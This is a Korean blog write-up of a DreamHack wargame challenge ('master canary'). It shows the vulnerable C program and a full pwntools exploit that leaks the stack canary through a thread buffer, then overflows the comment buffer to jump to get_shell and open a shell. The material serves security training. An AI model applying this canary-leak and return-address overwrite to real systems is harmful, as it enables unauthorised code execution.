Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage3_문제풀이(master canary) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage3_문제풀이(master canary)

CIDY 2022. 7. 11. 22:10
// gcc -o master master.c -pthread
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>

char *global_buffer;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

void *thread_routine() {
    char buf[256];

    global_buffer = buf;

}
void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}
int main(int argc, char *argv[]) {
    size_t size;
    pthread_t thread_t;
    size_t idx;
    char leave_comment[32];


    initialize();

    while(1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
                {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%d", &size);

                printf("Data: ");
                read_bytes(global_buffer, size);

                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }
    

    return 0;
}

 

뭐 겟쉘도 내줬겠다 thread_routine함수에서 카나리값을 구해 메인의 3번 선택지에서 bof를 하라는 것 같다. 그리고 누가봐도 2번에서 값을 쓰고 릭을 해올 수 있다. 카나리 릭만 잘 해오면 될 듯.

 

 

스레드 개념을 잘 몰라서 좀 해메다가 직접 버퍼와 카나리 사이의 오프셋을 계산해서 넣어줬다.

 

 

1사진에서 맨 끝에 41하나 있는 저게 카나리값이다. -> 근데 얘가 출력을 안 해준다. ㅋㅋ

 

 

-> 결국 서버에서 했다! 잘 출력해준다.

 

from pwn import *

p = remote("host3.dreamhack.games", 21580)
#p = process("./master_canary")
e = ELF("./master_canary")

def Create():
    p.sendlineafter(b"> ", b"1")

def Input(size):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b": ", str(size))

def Exit(comment):
    p.sendlineafter(b"> ", b"3")
    p.sendafter(b": ", comment)

Create()

Input(0x8e9)
p.recvuntil(b"Data: ")
p.send(b"A" * 0x8e9)

p.recvuntil(b"Data: ")
p.recvn(0x8e9)
canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))

pay = b"A" * 0x28
pay += p64(canary)
pay += b"B" * 0x8
pay += p64(e.sym['get_shell'])

Exit(pay)

p.interactive()